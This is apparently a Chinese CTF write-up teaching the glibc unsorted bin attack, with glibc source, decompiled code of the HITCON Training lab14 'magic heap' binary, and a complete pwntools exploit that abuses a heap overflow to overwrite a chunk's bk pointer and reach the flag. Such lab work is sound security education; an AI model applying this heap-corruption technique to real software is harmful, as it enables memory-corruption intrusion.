0%

Unsorted_Bin_Attack

alt

基本使用情况(CTF WIKI)

  1. Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO,即插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取

  2. 在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中。

源码

1
2
3
4
5
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

可以看出当一个unsorted_chunk被取出来的时候,是依靠bk指针来进行chunk的取出的。如果我们控制了bk指针就可以将unsorted_chunks (av)写入到任何地方。

攻击过程

1
2
3
4
victim = unsorted_chunks(av)->bk=p   
bck = victim->bk=p->bk = target addr-16
unsorted_chunks(av)->bk = bck=target addr-16
bck->fd = *(target addr -16+16) = unsorted_chunks(av);

其中victim和p都代表最后一个chunk,unsorted_chunks(av)代表unsorted_bins链,bck代表倒数第二个chunk,target addr-16代表伪造地址。

可以看到最后target addr的数据被修改为unsorted_chunks(av)的地址。

这里我们做一道例题。

HITCON Training lab14 magic heap(例题在CTF WIKI)

checksec检查

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

main函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char *v3; // rsi@1
char *v4; // rdi@1
int v5; // eax@2
char buf; // [sp+0h] [bp-10h]@2
__int64 v7; // [sp+8h] [bp-8h]@1

v7 = *MK_FP(__FS__, 40LL);
setvbuf(stdout, 0LL, 2, 0LL);
v3 = 0LL;
v4 = (char *)stdin;
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
while ( 1 )
{
menu(v4, v3);
v3 = &buf;
read(0, &buf, 8uLL);
v4 = &buf;
v5 = atoi(&buf);
if ( v5 != 3 )
break;
delete_heap(&buf, &buf);
}
if ( v5 > 3 )
{
if ( v5 == 4 )
exit(0);
if ( v5 == 4869 )
{
if ( (unsigned __int64)magic <= 0x1305 )
{
v4 = "So sad !";
puts("So sad !");
}
else
{
v4 = "Congrt !";
puts("Congrt !");
l33t("Congrt !", &buf);
}
}
else
{
LABEL_17:
v4 = "Invalid Choice";
puts("Invalid Choice");
}
}
else if ( v5 == 1 )
{
create_heap(&buf, &buf);
}
else
{
if ( v5 != 2 )
goto LABEL_17;
edit_heap(&buf, &buf);
}
}
}

create_heap函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 create_heap()
{
signed int i; // [sp+4h] [bp-1Ch]@1
size_t size; // [sp+8h] [bp-18h]@3
char buf; // [sp+10h] [bp-10h]@3
__int64 v4; // [sp+18h] [bp-8h]@1

v4 = *MK_FP(__FS__, 40LL);
for ( i = 0; i <= 9; ++i )
{
if ( !*(&heaparray + i) )
{
printf("Size of Heap : ");
read(0, &buf, 8uLL);
size = atoi(&buf);
*(&heaparray + i) = malloc(size);
if ( !*(&heaparray + i) )
{
puts("Allocate Error");
exit(2);
}
printf("Content of heap:", &buf);
read_input(*(&heaparray + i), size);
puts("SuccessFul");
return *MK_FP(__FS__, 40LL) ^ v4;
}
}
return *MK_FP(__FS__, 40LL) ^ v4;
}

edit_heap函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 edit_heap()
{
__int64 v0; // ST08_8@6
int v2; // [sp+4h] [bp-1Ch]@1
char buf; // [sp+10h] [bp-10h]@1
__int64 v4; // [sp+18h] [bp-8h]@1

v4 = *MK_FP(__FS__, 40LL);
printf("Index :");
read(0, &buf, 4uLL);
v2 = atoi(&buf);
if ( v2 < 0 || v2 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v2) )
{
printf("Size of Heap : ", &buf);
read(0, &buf, 8uLL);
v0 = atoi(&buf);
printf("Content of heap : ", &buf);
read_input(*(&heaparray + v2), v0);
puts("Done !");
}
else
{
puts("No such heap !");
}
return *MK_FP(__FS__, 40LL) ^ v4;
}

delete_heap函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__int64 delete_heap()
{
int v1; // [sp+Ch] [bp-14h]@1
char buf; // [sp+10h] [bp-10h]@1
__int64 v3; // [sp+18h] [bp-8h]@1

v3 = *MK_FP(__FS__, 40LL);
printf("Index :");
read(0, &buf, 4uLL);
v1 = atoi(&buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
free(*(&heaparray + v1));
*(&heaparray + v1) = 0LL;
puts("Done !");
}
else
{
puts("No such heap !");
}
return *MK_FP(__FS__, 40LL) ^ v3;
}

133t函数如下:

1
2
3
4
int l33t()
{
return system("cat ./flag");
}

我们发现,当我们控制 v3 为 4869,同时控制 magic 大于 4869,就可以得到 flag 了。而在edit_heap()函数中,程序根据我们输入的size进行存入数据,没有进行判断是否合法,这就造成了任意长度的堆溢出漏洞。

利用

很明显这是个unsorted_bin_attack,首先我们创建一个大于144字节chunk,然后free掉,再通过修改和它相邻的chunk,进而修改该chunk的bk地址。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python
from pwn import *

r = process('./magicheap')

def create_heap(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)

def edit_heap(idx, size, content):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)

def del_heap(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))

create_heap(0x20, "dada") # 0
create_heap(0x80, "dada") # 1
# in order not to merge into top chunk
create_heap(0x20, "dada") # 2

del_heap(1)

magic = 0x6020c0
fd = 0
bk = magic - 0x10

edit_heap(0, 0x20 + 0x20, "a" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))
create_heap(0x80, "dada") #trigger unsorted bin attack
r.recvuntil(":")
r.sendline("4869")
r.interactive()

参考链接:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unsorted_bin_attack-zh/